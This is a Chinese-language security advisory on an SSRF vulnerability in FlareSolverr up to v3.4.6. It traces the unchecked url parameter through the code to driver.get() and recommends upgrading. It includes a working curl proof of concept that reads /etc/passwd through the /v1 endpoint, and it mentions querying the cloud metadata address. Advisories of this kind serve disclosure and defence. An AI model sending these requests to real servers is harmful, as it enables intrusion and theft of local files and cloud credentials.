FlareSolverr服务端请求伪造漏洞CVE-2026-51031
FlareSolverr 是开源HTTP代理服务,专门解决Cloudflare五秒验证、Turnstile人机验证反爬拦截,它是爬虫、资源订阅工具常用中间件。
一、基本情况
FlareSolverr可对接Python爬虫、Jackett、Prowlarr、媒体订阅等工具,支持配置代理、会话持久化,适配Windows/Linux/NAS等设备。

FlareSolverr 依赖完整浏览器内核,并发请求内存占用高;Cloudflare安全策略更新后可能失效,复杂高强度图形验证码无法自动处理。
栋科技漏洞库关注到 FlareSolverr 在3.4.6及之前版本中存在的服务端请求伪造漏洞,现已被追踪为CVE-2026-51031,CVSS评分未知。
二、漏洞分析
FlareSolverr 通过自动化操控Chrome浏览器绕过Cloudflare防护,其/v1接口request.get与request.post指令会处理用户传入的url参数。
该漏洞源于FlareSolverr的/v1 API 在未对协议、主机名、IP地址做任何校验,允许调用方控制目标 URL 并且直接由服务端浏览器加载。
程序直接调用driver.get(url)访问目标链接导致服务端请求伪造,攻击者可访问内网资源、云元数据接口或本地文件系统获取敏感信息。
攻击者可构造指向内网资源、本地文件的恶意URL以利用该漏洞。
此外,Chrome启动时携带--no-sandbox参数,支持file://协议访问,能够读取服务器任意本地文件。
具体来说,FlareSolverr ≤ v3.4.6 的 POST /v1 接口接收 cmd=request.get 或 cmd=request.post 等 JSON 命令体,
其中 url 参数被原样透传到 src/flaresolverr_service.py 的
controller_v1_endpoint→_controller_v1_handler→_cmd_request_get/_cmd_request_post→_evil_logic 调用路径,
最终在 _evil_logic 函数内通过 Selenium WebDriver 的 driver.get(req.url) 加载,
而未对协议 scheme、目标域名、回环/私网/链路本地地址及云元数据 IP 做任何拦截,
攻击者可传入 file:///etc/passwd 等本地路径或 http://169.254.169.254/latest/meta-data/ 等元数据地址,
由服务器侧浏览器发起请求并回传响应内容。
(一)受影响组件与触发点
接口地址:POST /v1(JSON接口)
核心函数:flaresolverr_service.py 内 _evil_logic() → driver.get(req.url)
触发条件:
攻击者向FlareSolverr服务(默认端口8191)发送POST请求,可控url参数。
(二)技术分析
HTTP POST /v1 ← 攻击者发起请求
│
├─ 【flaresolverr.py 第56-68行】controller_v1()
│ data = request.json or {} ← 直接接收JSON载荷
│ req = V1RequestBase(data) ← 直接赋值,无校验逻辑
│
├─ 【flaresolverr_service.py 第100行】controller_v1_endpoint(req)
│ ├─ 【第103行】_controller_v1_handler(req)
│ │ ├─ 【第120-121行】仅判断req.cmd是否为空
│ │ ├─ 【第134行】req.cmd == 'request.get' → 执行_cmd_request_get(req)
│ │
│ ├─ 【第152-163行】_cmd_request_get(req)
│ │ if req.url is None: raise Exception ← 唯一校验:url不能为空
│ │ challenge_res = _resolve_challenge(req, 'GET')
│ │
│ ├─ 【第230-252行】_resolve_challenge(req, 'GET')
│ │ driver = utils.get_webdriver(req.proxy) ← 创建Chrome浏览器实例
│ │ return func_timeout(timeout, _evil_logic, (req, driver, 'GET'))
│ │
│ ├─ 【第340-382行】_evil_logic(req, driver, 'GET')
│ │ driver.get(req.url) ← 漏洞点:无任何校验
│ │ ...
│ │ challenge_res.response = driver.page_source ← 将页面内容返回攻击者
│ │
│ └─ 返回JSON响应
(三)核心问题
从controller_v1到driver.get(req.url)的整条链路,未对以下内容做校验:
1、URL协议(例如http、file、gopher)
2、主机名
3、IP地址(内网/公网)
唯一校验逻辑仅判断url参数是否为空。
(四)额外风险因素
utils.py中Chrome启动配置参数如下:
options.add_argument('--no-sandbox')
options.add_argument('--disable-setuid-sandbox')
该配置削弱了浏览器隔离机制,造成:
1、允许访问file://本地文件协议
2、本地文件系统数据存在泄露风险
(五)根本成因
1、输入校验缺失
未配置允许协议白名单,也未添加内网IP黑名单。
2、信任边界失效
用户可控输入未经过滤清洗,直接传入driver.get()函数。
3、沙箱安全机制弱化
--no-sandbox参数开启后,可通过file://协议读取本地文件。
三、POC概念验证
(一)任意本地文件读取(依赖无沙箱Chrome环境)
curl -X POST http://<TARGET>:8191/v1 \
-H "Content-Type: application/json" \
-d '{
"cmd": "request.get",
"url": "file:///etc/passwd",
"maxTimeout": 30000
}'
(二)自动化检测脚本(Nuclei规则模板)
管理员已设置登录后刷新可查看访问常见云服务商元数据地址。匹配规则命中即代表服务可访问内网元数据接口,确认漏洞存在。
(三)检测使用方式
通过Nuclei工具验证漏洞:
nuclei -u http://<target>:8191 -t flaresolverr-ssrf.yaml
(四)安全危害
攻击者可实现以下操作:
1、访问内网各类服务(SSRF)
2、读取云服务器实例元数据
3、读取服务器任意本地文件
4、根据部署环境,可能进一步渗透入侵服务器
四、影响范围
FlareSolverr ≤ v3.4.6
五、修复建议
FlareSolverr > v3.4.6
六、参考链接
管理员已设置登录后刷新可查看